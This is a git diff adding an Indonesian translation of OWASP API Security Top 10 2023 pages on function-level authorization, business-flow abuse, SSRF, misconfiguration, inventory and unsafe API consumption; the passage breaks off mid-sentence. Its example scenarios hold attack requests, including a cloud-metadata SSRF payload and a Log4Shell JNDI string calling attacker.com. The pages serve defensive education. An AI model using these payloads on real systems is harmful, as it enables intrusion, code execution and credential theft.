(misalnya dari `GET` ke `DELETE`)? +* Apakah pengguna dari grup X dapat mengakses fungsi yang seharusnya hanya dapat diakses pengguna dari grup Y, dengan hanya menebak URL endpoint dan parameternya (misalnya `/api/v1/users/export_all`)? + +Jangan mengasumsikan bahwa sebuah endpoint API adalah endpoint reguler atau administratif hanya berdasarkan jalur URL-nya. + +Meskipun pengembang mungkin memilih untuk mengekspos sebagian besar endpoint administratif di path relatif tertentu, seperti `/api/admins`, sangat umum menemukan endpoint administratif ini di path relatif lain bersama dengan endpoint reguler, seperti `/api/users`. + +## Skenario Serangan Contoh + +### Skenario #1 + +Selama proses pendaftaran untuk aplikasi yang hanya mengizinkan pengguna yang diundang untuk bergabung, aplikasi seluler memicu panggilan API ke `GET /api/invites/{invite_guid}`. Respons berisi sebuah JSON dengan detail tentang undangan, termasuk peran pengguna dan email pengguna. + +Seorang penyerang menduplikasi permintaan dan memanipulasi metode HTTP dan endpoint menjadi `POST /api/invites/new`. Endpoint ini hanya boleh diakses oleh administrator menggunakan konsol admin. Endpoint tidak menerapkan pemeriksaan otorisasi tingkat fungsi. + +Penyerang mengeksploitasi masalah tersebut dan mengirim undangan baru dengan hak istimewa admin: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Selanjutnya, penyerang menggunakan undangan yang dibuat secara curang tersebut untuk membuat akun admin bagi dirinya sendiri dan mendapatkan akses penuh ke sistem. + +### Skenario #2 + +Sebuah API berisi endpoint yang seharusnya hanya terungkap ke administrator - `GET /api/admin/v1/users/all`. Endpoint ini mengembalikan detail semua pengguna aplikasi dan tidak menerapkan pemeriksaan otorisasi tingkat fungsi. Seorang penyerang yang mempelajari struktur API melakukan tebakan cerdas dan berhasil mengakses endpoint ini, yang mengekspos detail sensitif para pengguna aplikasi. + +## Cara Mencegah + +Aplikasi Anda harus memiliki modul otorisasi yang konsisten dan mudah dianalisis yang dipanggil dari semua fungsi bisnis Anda. Seringkali, perlindungan seperti itu disediakan oleh satu atau lebih komponen eksternal untuk kode aplikasi. + +* Mekanisme penegakan harus menolak semua akses secara default, dibutuhkan hak akses yang eksplisit ke peran tertentu untuk mengakses setiap fungsi. +* Tinjau endpoint API Anda terhadap kelemahan otorisasi tingkat fungsi, dengan tetap memperhatikan logika bisnis aplikasi dan hierarki grup. +* Pastikan semua pengendali administratif Anda mewarisi kendali abstrak administratif yang menerapkan pemeriksaan otorisasi berdasarkan grup/peran pengguna. +* Pastikan fungsi administratif di dalam pengendali reguler menerapkan pemeriksaan otorisasi berdasarkan grup dan peran pengguna. + +## Referensi + +### OWASP + +* [Pemaksaan Penelusuran][1] +* "A7: Hilangnya Kendali Akses Tingkat Fungsi", [OWASP Top 10 2013][2] +* [Kontrol Akses][3] + +### Eksternal + +* [CWE-285: Otorisasi yang Tidak Tepat][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..a3e19b46d --- /dev/null +++ b/editions/2023/id/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,72 @@ +# API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | Prevalensi **Luas** : Terdeteksi **Rata-rata** | Teknis **Sedang** : Spesifik Bisnis | +| Eksploitasi biasanya melibatkan pemahaman model bisnis yang didukung oleh API, menemukan aliran bisnis sensitif, dan mengotomatisasi akses ke aliran tersebut, yang merugikan bisnis. | Kurangnya pandangan holistik tentang API untuk sepenuhnya mendukung persyaratan bisnis cenderung berkontribusi pada prevalensi masalah ini. Penyerang secara manual mengidentifikasi sumber daya (misalnya endpoint) apa yang terlibat dalam alur kerja target dan bagaimana mereka bekerja sama. Jika mekanisme mitigasi sudah ada, penyerang perlu menemukan cara untuk melewatinya. | Secara umum, dampak teknis tidak diharapkan. Eksploitasi mungkin merugikan bisnis dengan berbagai cara, misalnya: mencegah pengguna sah membeli produk, atau menyebabkan inflasi dalam perekonomian internal sebuah game. | + +## Apakah API Rentan? + +Saat membuat Endpoint API, penting untuk memahami aliran bisnis apa yang dieksposnya. Beberapa aliran bisnis lebih sensitif daripada yang lain, dalam artian akses berlebihan ke dalamnya dapat merugikan bisnis. + +Contoh umum aliran bisnis sensitif dan risiko akses berlebihan yang terkait dengannya: + +* Aliran pembelian produk - seorang penyerang dapat membeli semua persediaan item yang sangat diminati secara sekaligus dan menjual kembali dengan harga yang lebih tinggi (penimbunan) +* Aliran membuat komentar/posting - seorang penyerang dapat men-spam sistem +* Melakukan reservasi - seorang penyerang dapat memesan semua slot waktu yang tersedia dan mencegah pengguna lain menggunakan sistem + +Risiko akses berlebihan mungkin berubah antar industri dan bisnis. Misalnya - pembuatan post oleh skrip mungkin dianggap sebagai risiko spam oleh satu jejaring sosial, tetapi didorong oleh jejaring sosial lainnya. + +Sebuah Endpoint API rentan jika mengekspos aliran bisnis sensitif, tanpa membatasi akses ke dalamnya dengan tepat. + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah perusahaan teknologi mengumumkan akan merilis konsol game baru di hari Thanksgiving. Produk ini memiliki permintaan yang sangat tinggi dan persediaannya terbatas. Seorang penyerang menulis kode untuk secara otomatis membeli produk baru dan menyelesaikan transaksi. + +Pada hari rilis, penyerang menjalankan kode yang didistribusikan di berbagai alamat IP dan lokasi. API tidak menerapkan perlindungan yang tepat dan memungkinkan penyerang untuk membeli sebagian besar persediaan sebelum pengguna sah lainnya. + +Kemudian, penyerang menjual produk di platform lain dengan harga jauh lebih tinggi. + +### Skenario #2 + +Sebuah maskapai penerbangan menawarkan pembelian tiket online tanpa biaya pembatalan. Seorang pengguna dengan niat jahat memesan 90% kursi penerbangan yang diinginkan. + +Beberapa hari sebelum penerbangan pengguna jahat membatalkan semua tiket sekaligus, yang memaksa maskapai untuk memberikan diskon harga tiket untuk mengisi penerbangan. + +Pada titik ini, pengguna membeli satu tiket untuk dirinya sendiri yang jauh lebih murah dari yang asli. + +### Skenario #3 + +Sebuah aplikasi ride-sharing menyediakan program referral - pengguna dapat mengundang teman mereka dan mendapatkan kredit untuk setiap teman yang bergabung dengan aplikasi. Kredit ini kemudian dapat digunakan sebagai uang tunai untuk memesan tumpangan. + +Seorang penyerang mengeksploitasi alur ini dengan menulis skrip untuk mengotomatisasi proses pendaftaran, dengan setiap pengguna baru menambahkan kredit ke dompet penyerang. + +Penyerang kemudian dapat menikmati tumpangan gratis atau menjual akun dengan kredit berlebihan untuk uang tunai. + +## Cara Mencegah + +Perencanaan mitigasi harus dilakukan dalam dua lapisan: + +* Bisnis - identifikasi aliran bisnis yang mungkin merugikan bisnis jika digunakan secara berlebihan. +* Rekayasa - pilih mekanisme perlindungan yang tepat untuk memitigasi risiko bisnis. + + Beberapa mekanisme perlindungan lebih sederhana sementara yang lain lebih sulit diterapkan. Metode berikut digunakan untuk memperlambat ancaman otomatis: + + * Fingerprinting perangkat: menolak layanan ke perangkat klien yang tidak diharapkan (misalnya headless browser) cenderung membuat aktor ancaman menggunakan solusi yang lebih canggih, sehingga lebih mahal bagi mereka + * Deteksi manusia: menggunakan captcha atau solusi biometrik tingkat lanjut (misalnya pola pengetikan) + * Pola non-manusia: menganalisis alur pengguna untuk mendeteksi pola non-manusia (misalnya pengguna mengakses fungsi "tambah ke keranjang" dan "selesaikan pembelian" dalam waktu kurang dari satu detik) + * Pertimbangkan memblokir alamat IP dari node keluar Tor dan proxy terkenal + + Amankan dan batasi akses ke API yang dikonsumsi langsung oleh mesin (seperti API pengembang dan B2B). Mereka cenderung menjadi target yang mudah bagi penyerang karena seringkali tidak menerapkan semua mekanisme perlindungan yang diperlukan. + +## Referensi + +### OWASP + +* [OWASP Ancaman Otomatis ke Aplikasi Web][1] +* [API10:2019 Pencatatan & Pemantauan yang Tidak Memadai][2] + +[1]: https://owasp.org/www-project-automated-threats-to-web-applications/ +[2]: https://owasp.org/API-Security/editions/2019/id/0xaa-insufficient-logging-monitoring/ diff --git a/editions/2023/id/0xa7-server-side-request-forgery.md b/editions/2023/id/0xa7-server-side-request-forgery.md new file mode 100644 index 000000000..b95b025b0 --- /dev/null +++ b/editions/2023/id/0xa7-server-side-request-forgery.md @@ -0,0 +1,137 @@ +# API7:2023 Pemalsuan Permintaan Sisi Server + +| Agen ancaman/Vektor serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: **Mudah** dieksploitasi | Prevalensi **Umum** : **Mudah** Terdeteksi | Teknis **Sedang** : Spesifik Bisnis | +| Eksploitasi membutuhkan penyerang untuk menemukan endpoint API yang mengakses URI yang disediakan oleh klien. Secara umum, SSRF dasar (saat respons dikembalikan ke penyerang) lebih mudah dieksploitasi daripada Blind SSRF ketika penyerang tidak menerima informasi apakah serangan berhasil atau tidak. | Konsep modern dalam pengembangan aplikasi mendorong pengembang untuk mengakses URI yang disediakan oleh klien. Kurangnya atau validasi yang tidak tepat dari URI tersebut adalah masalah yang umum. Permintaan dan analisis respons API reguler akan dibutuhkan untuk mendeteksi masalah tersebut. Ketika respons tidak dikembalikan (Blind SSRF) mendeteksi kerentanan membutuhkan lebih banyak upaya dan kreativitas. | Eksploitasi yang berhasil mungkin mengarah ke enumerasi layanan internal (misalnya pemindaian port), pengungkapan informasi, menghindari firewall, atau mekanisme keamanan lainnya. Dalam beberapa kasus, dapat mengarah ke DoS atau server digunakan sebagai proxy untuk menyembunyikan kegiatan berbahaya. | + +## Apakah API Rentan? + +Celah Pemalsuan Permintaan Sisi Server (SSRF) terjadi ketika API mengambil sumber daya jarak jauh tanpa memvalidasi URL yang diberikan pengguna. Hal ini memungkinkan penyerang memaksa aplikasi untuk mengirim permintaan yang dibuat ke tujuan yang tidak terduga, bahkan ketika dilindungi oleh firewall atau VPN. + +Konsep modern dalam pengembangan aplikasi membuat SSRF lebih umum dan lebih berbahaya. + +Lebih umum - konsep berikut mendorong pengembang untuk mengakses sumber daya eksternal berdasarkan masukan pengguna: Webhook, mengambil file dari URL, SSO kustom, dan pratinjau URL. + +Lebih berbahaya - Teknologi modern seperti penyedia cloud, Kubernetes, dan Docker mengekspos saluran manajemen dan kontrol melalui HTTP pada jalur yang dapat diprediksi dan dikenal dengan baik. Saluran tersebut adalah target yang mudah untuk serangan SSRF. + +Juga lebih menantang untuk membatasi lalu lintas keluar aplikasi Anda, karena sifat terhubung aplikasi modern. + +Risiko SSRF tidak selalu dapat sepenuhnya dihilangkan. Saat memilih mekanisme perlindungan, penting untuk mempertimbangkan risiko bisnis dan kebutuhan. + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah jejaring sosial memungkinkan pengguna mengunggah foto profil. Pengguna dapat memilih untuk mengunggah file gambar dari mesin mereka, atau menyediakan URL gambar. Memilih opsi kedua, akan memicu panggilan API berikut: + +``` +POST /api/profile/upload_picture + +{ + "picture_url": "http://example.com/profile_pic.jpg" +} +``` + +Seorang penyerang dapat mengirim URL berbahaya dan memulai pemindaian port di jaringan internal menggunakan Endpoint API. + +``` +{ + "picture_url": "localhost:8080" +} +``` + +Berdasarkan waktu respons, penyerang dapat mengetahui apakah port terbuka atau tidak. + +### Skenario #2 + +Sebuah produk keamanan menghasilkan peristiwa ketika mendeteksi anomali di jaringan. Beberapa tim lebih suka meninjau peristiwa dalam sistem pemantauan yang lebih luas dan generik, seperti SIEM (Security Information and Event Management). Untuk tujuan ini, produk menyediakan integrasi dengan sistem lain menggunakan webhook. + +Sebagai bagian dari pembuatan webhook baru, mutasi GraphQL dikirim dengan URL API SIEM. + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://www.siem-system.com/create_new_event\", + send_test_req: true + } + ] + } + }){ + channelId + } + }" + } +] + +``` + +Selama proses pembuatan, back-end API mengirim permintaan uji ke URL webhook yang diberikan, dan menyajikan respons ke pengguna. + +Seorang penyerang dapat memanfaatkan alur ini, dan membuat permintaan API untuk sumber daya sensitif, seperti layanan metadata cloud internal yang mengekspos kredensial: + +``` +POST /graphql + +[ + { + "variables": {}, + "query": "mutation { + createNotificationChannel(input: { + channelName: \"ch_piney\", + notificationChannelConfig: { + customWebhookChannelConfigs: [ + { + url: \"http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm\", + send_test_req: true + } + ] + } + }) { + channelId + } + } + } +] +``` + +Karena aplikasi menampilkan respons dari permintaan uji, penyerang dapat melihat kredensial lingkungan cloud. + +## Cara Mencegah + +* Isolasi mekanisme pengambilan sumber daya di jaringan Anda: biasanya fitur ini bertujuan untuk mengambil sumber daya jarak jauh dan bukan internal. +* Kapan pun memungkinkan, gunakan allow list untuk: + * Asal lokasi sumber daya (misalnya Google Drive, Gravatar, dll.) yang diharapkan digunakan pengguna untuk mengunduh sumber daya + * Skema URL dan port + * Jenis media yang diterima untuk fungsionalitas tertentu +* Nonaktifkan pengalihan HTTP. +* Gunakan parser URL yang diuji dan dikelola dengan baik untuk menghindari masalah yang disebabkan oleh inkonsistensi parsing URL. +* Validasi dan bersihkan semua data input yang diberikan klien. +* Jangan kirim respons mentah ke klien. + +## Referensi + +### OWASP + +* [Server Side Request Forgery][1] +* [Server-Side Request Forgery Prevention Cheat Sheet][2] + +### Eksternal + +* [CWE-918: Server-Side Request Forgery (SSRF)][3] +* [URL confusion vulnerabilities in the wild: Exploring parser inconsistencies, + Snyk][4] + +[1]: https://owasp.org/www-community/attacks/Server_Side_Request_Forgery +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/918.html +[4]: https://snyk.io/blog/url-confusion-vulnerabilities/ diff --git a/editions/2023/id/0xa8-security-misconfiguration.md b/editions/2023/id/0xa8-security-misconfiguration.md new file mode 100644 index 000000000..90e13c163 --- /dev/null +++ b/editions/2023/id/0xa8-security-misconfiguration.md @@ -0,0 +1,107 @@ +# API8:2023 Miskonfigurasi Keamanan + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Luas** : Kemungkinan Dideteksi **Mudah** | Teknis **Parah** : Khusus Bisnis | +| Penyerang sering mencoba menemukan kelemahan yang belum diperbaiki, endpoint umum, layanan yang berjalan dengan konfigurasi default yang tidak aman, atau file dan direktori yang tidak terlindungi untuk mendapatkan akses tidak sah atau pengetahuan tentang sistem. Sebagian besar informasi ini adalah pengetahuan publik dan eksploitasi mungkin tersedia. | Kesalahan konfigurasi keamanan dapat terjadi di semua tingkat stack API, mulai dari tingkat jaringan hingga tingkat aplikasi. Alat otomatis tersedia untuk mendeteksi dan mengeksploitasi kesalahan konfigurasi seperti layanan yang tidak perlu atau opsi warisan. | Kesalahan konfigurasi keamanan tidak hanya mengekspos data pengguna yang sensitif, tetapi juga detail sistem yang dapat menyebabkan kompromi penuh server. | + +## Apakah API Rentan? + +API menjadi rentan bila: + +* Tidak ada penguncian keamanan yang sesuai di seluruh bagian stack API, + atau izin yang dikonfigurasi dengan tidak benar pada layanan cloud +* Tidak ada patch keamanan terbaru, atau sistem sudah kadaluwarsa +* Fitur yang tidak diperlukan diaktifkan (misalnya, verba HTTP, fitur logging) +* Ada ketidaksesuaian dalam cara permintaan masuk diproses oleh server + dalam rantai server HTTP +* Tidak ada Keamanan Lapisan Transportasi (TLS) +* Direktif keamanan atau kendali cache tidak dikirimkan kepada klien +* Kebijakan Cross-Origin Resource Sharing (CORS) hilang atau tidak diatur dengan tepat +* Pesan kesalahan mencakup stack trace, atau mengekspos informasi sensitif lainnya + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah server API back-end menjaga catatan akses yang ditulis oleh utilitas logging sumber terbuka pihak ketiga yang populer dengan dukungan ekspansi tempat dan pencarian JNDI +(Java Naming and Directory Interface), keduanya diaktifkan secara default. Untuk +setiap permintaan, entri baru ditulis ke file log dengan pola berikut: ` / - `. + +Pelaku jahat mengeluarkan permintaan API berikut, yang ditulis ke file log akses: + +``` +GET /health +X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class} +``` + +Karena konfigurasi default yang tidak aman dari utilitas logging dan kebijakan keluar jaringan yang longgar, dalam rangka menulis entri yang sesuai +ke file log akses, sambil memperluas nilai dalam header permintaan `X-Api-Version`, utilitas logging akan mengambil dan menjalankan objek `Malicious.class` dari server yang dikendalikan oleh pelaku jahat. + +### Skenario #2 + +Sebuah situs jaringan sosial menawarkan fitur "Pesan Langsung" yang memungkinkan pengguna +mempertahankan percakapan pribadi. Untuk mengambil pesan baru untuk percakapan tertentu, situs web mengeluarkan permintaan API berikut (interaksi pengguna tidak diperlukan): + +``` +GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA +``` + +Karena tanggapan API tidak menyertakaj header tanggapan HTTP `Cache-Control`, percakapan pribadi akan disimpan dalam cache browser web, memungkinkan +pelaku jahat mengambilnya dari file cache browser dalam sistem file. + +## Cara Mencegah + +Siklus hidup API harus mencakup: + +* Proses pengerasan berulang yang menghasilkan penerapan lingkungan yang terkunci dengan benar dengan cepat dan mudah +* Tugas untuk meninjau dan memperbarui konfigurasi di seluruh stack API. Tinjauan harus mencakup: file orkestrasi, komponen API, dan layanan cloud + (misalnya, izin bucket S3) +* Proses otomatis untuk terus-menerus menilai efektivitas konfigurasi dan pengaturan di semua lingkungan + +Selain itu: + +* Pastikan semua komunikasi API dari klien ke server API dan komponen hulu/hilir terjadi melalui saluran komunikasi yang terenkripsi + (TLS), tanpa memandang apakah itu API internal atau publik. +* Lebih spesifik tentang verba HTTP mana pun yang dapat diakses oleh setiap API: semua verba HTTP lainnya harus dinonaktifkan (misalnya, HEAD). +* API yang diharapkan diakses dari klien berbasis browser (misalnya, front-end WebApp) harus setidaknya: + * mengimplementasikan kebijakan Cross-Origin Resource Sharing (CORS) yang tepat + * menyertakan Header Keamanan yang berlaku +* Batasi jenis konten/format data masuk hanya pada yang memenuhi persyaratan bisnis/fungsional. +* Pastikan semua server dalam rantai server HTTP (misalnya, load balancer, reverse and forward proxy, serta server backend) memproses permintaan masuk dengan cara yang seragam untuk menghindari masalah desinkronisasi. +* Jika memungkinkan, tentukan dan tegakkan semua skema muatan respons API, termasuk respons kesalahan, untuk mencegah pengecualian jejak dan informasi berharga lainnya dikirimkan kembali kepada pelaku serangan. + +## Referensi + +### OWASP + +* [Proyek OWASP Secure Headers][1] +* [Pengujian Konfigurasi dan Manajemen Implementasi - Panduan Pengujian Keamanan Web Guide][2] +* [Pengujian Penanganan Kesalahan - Panduan Pengujian Keamanan Web][3] +* [Pengujian Cross Site Request Forgery - Panduan Pengujian Keamanan Web][4] + +### Eksternal + +* [CWE-2: Kelemahan Keamanan Lingkungan][5] +* [CWE-16: Konfigurasi][6] +* [CWE-209: Pembuatan Pesan Kesalahan yang Mengandung Informasi Sensitif][7] +* [CWE-319: Pengiriman Teks Terbuka Informasi Sensitif][8] +* [CWE-388: Penanganan Kesalahan][9] +* [CWE-444: Interpretasi Tidak Konsisten Permintaan HTTP ('HTTP Request/Response Smuggling')][10] +* [CWE-942: Kebijakan Lintas Domain yang Permissif dengan Domain yang Tidak Terpercaya][11] +* [Panduan Keamanan Umum Server][12], NIST +* [Let's Encrypt: Otoritas Sertifikat Gratis, Otomatis, dan Terbuka][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/id/0xa9-improper-inventory-management.md b/editions/2023/id/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..78a6208a0 --- /dev/null +++ b/editions/2023/id/0xa9-improper-inventory-management.md @@ -0,0 +1,88 @@ +# API9:2023 Pengelolaan Inventaris yang Tidak Tepat + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Luas** : Kemungkinan Dideteksi **Sedang** | Teknis **Sedang** : Khusus Bisnis | +| Agen ancaman biasanya mendapatkan akses tidak sah melalui versi API lama atau endpoint yang tidak diperbaiki dan menggunakan persyaratan keamanan yang lebih lemah. Dalam beberapa kasus, eksploitasi tersedia. Atau, mereka mungkin mendapatkan akses ke data sensitif melalui pihak ketiga yang tidak ada alasan untuk berbagi data dengannya. | Dokumentasi yang sudah kadaluarsa membuat lebih sulit untuk menemukan dan/atau memperbaiki kerentanan. Ketidakadaan inventaris aset dan strategi pensiun mengakibatkan sistem yang tidak diperbaiki, yang mengakibatkan kebocoran data sensitif. Sangat umum untuk menemukan host API yang terpapar secara tidak perlu karena konsep modern seperti mikro layanan, yang membuat aplikasi mudah untuk dideploy dan mandiri (misalnya, komputasi awan, K8S). Cukup dengan Google Dorking, enumerasi DNS, atau menggunakan mesin pencari khusus untuk berbagai jenis server (webcam, router, server, dll.) yang terhubung ke internet akan cukup untuk menemukan target. | Penyerang dapat memperoleh akses ke data sensitif, atau bahkan mengambil alih server. Terkadang berbagai versi/deployment API terhubung ke database yang sama dengan data nyata. Agen ancaman dapat mengeksploitasi endpoint yang sudah tidak digunakan yang tersedia dalam versi API lama untuk mendapatkan akses ke fungsi administratif atau mengeksploitasi kerentanan yang sudah dikenal. | + +## Apakah API Rentan? + +Sifat API dan aplikasi modern yang tersebar dan terhubung membawa tantangan baru. Penting bagi organisasi untuk tidak hanya memiliki pemahaman yang baik dan visibilitas terhadap API dan endpoint API mereka sendiri, tetapi juga bagaimana API menyimpan atau berbagi data dengan pihak ketiga eksternal. + +Menjalankan beberapa versi API memerlukan sumber daya manajemen tambahan +dari penyedia API dan memperluas permukaan serangan. + +Sebuah API memiliki "blindspot dokumentasi" jika: + +* Tujuan host API tidak jelas, dan tidak ada jawaban eksplisit untuk + pertanyaan-pertanyaan berikut + * Lingkungan mana yang digunakan API (misalnya, produksi, staging, tes, + pengembangan)? + * Siapa yang seharusnya memiliki akses jaringan ke API (misalnya, publik, internal, mitra)? + * Versi API mana yang sedang berjalan? +* Tidak ada dokumentasi atau dokumentasi yang ada tidak diperbarui. +* Tidak ada rencana pensiun untuk setiap versi API. +* Inventaris host hilang atau sudah kadaluarsa. + +Visibilitas dan inventaris aliran data sensitif memainkan peran penting sebagai +bagian dari rencana respons insiden, jika terjadi pelanggaran di sisi pihak ketiga. + +Sebuah API memiliki "blindspot aliran data" jika: + +* Ada "aliran data sensitif" di mana API berbagi data sensitif dengan pihak ketiga dan + * Tidak ada justifikasi bisnis atau persetujuan atas aliran tersebut + * Tidak ada inventaris atau visibilitas aliran tersebut + * Tidak ada visibilitas mendalam tentang jenis data sensitif yang dibagikan + + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah jaringan sosial mengimplementasikan mekanisme pembatasan laju yang menghalangi penyerang +menggunakan metode brute force untuk menebak token reset kata sandi. Mekanisme ini tidak +diimplementasikan sebagai bagian dari kode API itu sendiri tetapi di komponen terpisah antara +klien dan API resmi (`api.socialnetwork.owasp.org`). Seorang peneliti menemukan host API beta +(`beta.api.socialnetwork.owasp.org`) yang menjalankan API yang sama, termasuk mekanisme reset kata sandi, +tetapi mekanisme pembatasan laju tidak ada. Peneliti tersebut berhasil mereset kata sandi +pengguna dengan menebak token 6 digit menggunakan brute force. + +### Skenario #2 + +Sebuah jaringan sosial memungkinkan pengembang aplikasi independen untuk mengintegrasikan dengan +mereka. Sebagai bagian dari proses ini, izin diminta dari pengguna akhir, sehingga jaringan sosial +dapat berbagi informasi pribadi pengguna dengan aplikasi independen. + +Aliran data antara jaringan sosial dan aplikasi independen tidak cukup dibatasi atau dimonitor, +memungkinkan aplikasi independen untuk mengakses tidak hanya +informasi pengguna tetapi juga informasi pribadi dari semua teman mereka. + +Sebuah firma konsultan membangun aplikasi berbahaya dan berhasil mendapatkan izin dari +270.000 pengguna. Karena kelemahan ini, firma konsultan berhasil mengakses +informasi pribadi dari 50.000.000 pengguna. Kemudian, firma konsultan +menjual informasi tersebut untuk tujuan berbahaya. + +## Cara Mencegah + +* Inventarisasi semua host API dan dokumentasikan aspek penting dari masing-masing di + antaranya, berfokus pada lingkungan API (misalnya, produksi, staging, tes, pengembangan), siapa yang + seharusnya memiliki akses jaringan ke host (misalnya, publik, internal, mitra) dan versi API. +* Inventarisasi layanan terintegrasi dan dokumentasikan aspek penting seperti peran mereka + dalam sistem, data apa yang dipertukarkan (aliran data), dan sensitivitasnya. +* Dokumentasikan semua aspek API Anda seperti otentikasi, kesalahan, pengalihan, pembatasan laju, + kebijakan berbagi sumber daya lintas asal (CORS), dan endpoint, termasuk parameter, permintaan, dan tanggapan. +* Hasilkan dokumentasi secara otomatis dengan mengadopsi standar terbuka. Sertakan pembangunan dokumentasi dalam jalur CI/CD Anda. +* Buat dokumentasi API hanya tersedia bagi mereka yang berwenang untuk menggunakan API. +* Gunakan langkah-langkah perlindungan eksternal seperti solusi keamanan API yang spesifik untuk semua versi API Anda yang terpapar, tidak hanya untuk versi produksi saat ini. +* Hindari menggunakan data produksi dengan implementasi API non-produksi. Jika hal ini tidak dapat dihindari, endpoint ini harus mendapatkan perlakuan keamanan yang sama dengan endpoint produksi. +* Ketika versi API yang lebih baru mencakup perbaikan keamanan, lakukan analisis risiko untuk + memberi tahu tindakan mitigasi yang diperlukan untuk versi lama. Misalnya, apakah memungkinkan untuk melakukan backport perbaikan tanpa merusak kompatibilitas API atau apakah Anda perlu segera menghapus versi lama dan memaksa semua klien beralih ke versi terbaru. + + +## Referensi + +### Eksternal + +* [CWE-1059: Dokumentasi yang Tidak Lengkap][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html \ No newline at end of file diff --git a/editions/2023/id/0xaa-unsafe-consumption-of-apis.md b/editions/2023/id/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..b0ab89867 --- /dev/null +++ b/editions/2023/id/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,89 @@ +# API10:2023 Konsumsi API yang Tidak Aman + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Umum** : Kemungkinan Dideteksi **Sedang** | Teknis **Serius** : Khusus Bisnis | +| Penyerang perlu mengidentifikasi dan mungkin mengkompromikan API/Layanan lain yang terintegrasi dengan API target untuk mengeksploitasi masalah ini. Biasanya, informasi ini tidak tersedia secara publik atau API/layanan yang terintegrasi tidak mudah dieksploitasi. | Para pengembang cenderung percaya dan tidak memverifikasi endpoint yang berinteraksi dengan API eksternal atau pihak ketiga, mengandalkan persyaratan keamanan yang lebih lemah seperti yang berkaitan dengan keamanan transportasi, otentikasi/otorisasi, dan validasi serta sanitasi input. Penyerang perlu mengidentifikasi layanan yang terintegrasi dengan API target (sumber data) dan, akhirnya, mengkompromikannya. | Dampaknya bervariasi sesuai dengan apa yang dilakukan API target dengan data yang diambil. Eksploitasi yang berhasil dapat menyebabkan paparan informasi sensitif kepada aktor yang tidak diotorisasi, banyak jenis injeksi, atau penolakan layanan. | + +## Apakah API Rentan? + +Pengembang cenderung lebih percaya data yang diterima dari API pihak ketiga daripada masukan pengguna. Hal ini terutama berlaku untuk API yang ditawarkan oleh perusahaan-perusahaan terkemuka. Karena itu, pengembang cenderung mengadopsi standar keamanan yang lebih lemah, misalnya dalam hal validasi dan sanitasi input. + +API mungkin rentan jika: + +* Berinteraksi dengan API lain melalui saluran yang tidak terenkripsi; +* Tidak memvalidasi dan menyaring data yang dikumpulkan dari API lain sebelum + memprosesnya atau melewatkan data tersebut ke komponen yang lebih rendah; +* Mengikuti pengalihan tanpa pertimbangan; +* Tidak membatasi jumlah sumber daya yang tersedia untuk memproses respons layanan pihak ketiga; +* Tidak mengimplementasikan batas waktu untuk interaksi dengan layanan pihak ketiga; + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah API mengandalkan layanan pihak ketiga untuk memperkaya alamat bisnis yang diberikan oleh pengguna akhir. Ketika alamat diberikan kepada API oleh pengguna akhir, alamat tersebut dikirim ke layanan pihak ketiga dan data yang dikembalikan kemudian disimpan dalam database lokal yang mendukung SQL. + +Aktor jahat menggunakan layanan pihak ketiga untuk menyimpan muatan SQLi yang terkait dengan bisnis yang dibuat oleh mereka. Kemudian mereka menyerang API yang rentan dengan memberikan masukan khusus yang membuatnya menarik "bisnis berbahaya" mereka dari layanan pihak ketiga. Muatan SQLi akhirnya dieksekusi oleh database, mengirimkan data ke server yang 